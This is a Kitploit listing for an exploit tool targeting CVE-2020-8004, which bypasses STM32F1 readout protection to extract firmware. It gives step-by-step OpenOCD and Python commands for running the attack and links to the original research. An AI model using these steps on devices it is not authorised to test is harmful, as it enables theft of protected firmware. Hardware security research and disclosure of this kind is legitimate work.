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CVE-2020-8004 — Exploit tool for CVE-2020-8004 targeting STM32F1 microcontrollers, enabling firmware extraction via OpenOCD and Python scripts to bypass readout protection. | Kitploit
Tools/GitHubGitHub/wuxx/cve-2020-8004
Embedded Systems SecurityVulnerability AnalysisExploitationHardware HackingHardware SecurityFirmware Analysis
GitHubwuxx/cve-2020-8004

CVE-2020-8004

Exploit tool for CVE-2020-8004 targeting STM32F1 microcontrollers, enabling firmware extraction via OpenOCD and Python scripts to bypass readout protection.

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24836 years agoReviewed by Kitploit

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CVE-2020-8004

Test

$cd openocd-toolbox/scripts/linux/stm32f1x/
$./lock.sh
$./attach.sh
($telnet localhost 4444)
($reset halt)
($mdw 0x08000000)
$cd stm32f1-firmware-extractor
$python3 main.py 0x08000000 512

test screenshot

References

  • https://blog.zapb.de/stm32f1-exceptional-failure/
  • https://gitlab.zapb.de/zapb/stm32f1-firmware-extractor/
  • https://www.muselab-tech.com/cve-2020-8004-lou-dong-yuan-li-fen-xi/
  • The Definitive Guide to ARM Cortex-M3
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